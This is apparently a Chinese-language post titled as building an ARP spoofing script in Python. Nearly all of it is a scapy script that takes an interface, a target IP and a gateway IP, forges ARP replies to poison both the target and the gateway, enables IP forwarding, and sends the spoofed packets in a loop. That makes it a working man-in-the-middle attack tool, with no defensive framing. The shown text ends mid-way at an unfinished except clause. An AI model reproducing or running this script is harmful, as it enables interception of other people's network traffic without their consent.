使用python构造一个arp欺骗脚本

import os

import sys

from scapy.all import *

import optparse

def main():

usage="usage:[-i interface] [-t IP to attack] [-g Gateway IP]"

parser=optparse.OptionParser(usage)

parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')

parser.add_option('-t',dest='IP',help='You want to attack the IP')

parser.add_option('-g',dest='gatewayip',help='The IP of the gateway')

(options,args)=parser.parse_args()

if options.interface and options.IP and options.gatewayip:

interface=options.interface

IP=options.IP

gatewayip=options.gatewayip

spoof(interface,IP,gatewayip)

else:

parser.print_help()

sys.exit()

def spoof(interface,IP,gatewayip):

benjimac=get_if_hwaddr(interface)

mubiao=getmacbyip(IP)

wanguan=getmacbyip(gatewayip)

ptarget = Ether(src=benjimac, dst=mubiao) / ARP(hwsrc=benjimac, psrc=gatewayip, hwdst=mubiao, pdst=IP, op=2) #本地-》网关

pgateway=Ether(src=benjimac,dst=wanguan)/ARP(hwsrc=benjimac,psrc=IP,hwdst=wanguan,pdst=gatewayip,op=2) #本地-》目标机

print '[+]Open IP forwarding'

zhuanfa=os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') #IP转发

try:

while 1:

sendp(ptarget, inter=2, iface=interface) #发包

except Exception as f:
